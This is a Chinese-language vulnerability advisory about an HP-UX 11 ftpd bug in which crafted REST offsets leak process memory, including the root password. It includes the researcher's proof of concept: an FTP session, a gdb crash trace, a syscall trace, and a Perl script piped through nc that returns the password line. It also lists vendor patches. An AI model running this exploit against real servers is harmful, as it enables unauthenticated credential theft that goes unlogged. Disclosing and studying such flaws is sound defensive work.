首页 -> 安全研究

安全研究

安全漏洞
HP-UX ftpd REST命令远程内存泄露漏洞

发布日期:2003-06-05
更新日期:2003-06-10

受影响系统:
HP HP-UX ftpd 1.1.214.4
    - HP HP-UX 11.0
描述:
BUGTRAQ  ID: 7825

HP-UX 11包含ftpd服务程序。

HP-UX包含的FTPD程序不正确处理REST命令,远程攻击者可以利用这个漏洞无需认证以FTP进程权限在系统上查看内存中任意文件的内容。

FTPD的REST命令允许用户从服务器的一个标识处重新开始传输,如果用户刚断开连接,能在一段时间里恢复会话。传递给REST命令的参数可以指定从某个内存地址段读取,这就导致攻击者可以传递敏感内存地址读取内存中的敏感信息如ROOT密码。

<*来源:KF (dotslash@snosoft.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105482919501408&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

KF (dotslash@snosoft.com)提供了如下测试方法:

frieza elguapo $ ftp 192.168.1.111
Connected to 192.168.1.111.
220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999) ready.
Name (192.168.1.111:root): elguapo
331 Password required for elguapo.
Password:
230 User elguapo logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> rest 1111111111111111
restarting at 2147483647. execute get, put or append to initiate transfer
ftp> get .
local: . remote: .
200 PORT command successful.

# gdb /usr/lbin/ftpd 2862
GNU gdb 4.18-hppa-991112
Copyright 1998 Free Software Foundation, Inc.

/home/elguapo/2862: No such file or directory.
Attaching to program: /usr/lbin/ftpd, process 2862

Unable to find __dld_flags symbol in object file.

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xc00ef0b8 in ?? ()
(gdb) bt
#0  0xc00ef0b8 in ?? ()
Error accessing memory address 0x7fffffff: Bad address.

通过多此调试,发现在验证过程中的内存信息为:

open("/etc/passwd", O_RDONLY, 0666) [entry]
open("/etc/passwd", O_RDONLY, 0666)
ioctl(5, TCGETA, 0x7f7e61b8)[entry]
ioctl(5, TCGETA, 0x7f7e61b8)ERR#25 ENOTTY
read(5, 0x4002fe10, 8192)[entry]
read(5, 0x4002fe10, 8192)= 454
    r o o t : m y r o o t p a s s w o r d : 0 : 3 : : / : / s b i n /
    s h \n d a e m o n : * : 1 : 5 : : / : / s b i n / s h \nb i n :

地址0x4002fe10应该包含ROOT密码,因此使用REST 1073937936应该成功获得密码信息。作者提供了使用PERL脚本的演示:

frieza root # (./HPUX_rest2.pl;cat) | nc 192.168.1.111 21
220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999) ready.
331 Password required for root.
530 Login incorrect.
350 Restarting at offset_uformat. root:myrootpassword:0:3::/:/sbin/sh\n
  daemon:*:1:5::/:/sbin/sh\n bin:
...

此漏洞的攻击行为在日志系统中没有任何记录。

建议:
厂商补丁:

HP
--
下载HPUX patch PHNE_18377 或更高的(PHNE_21936)补丁程序:

http://www.hp.com

浏览次数:4265
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障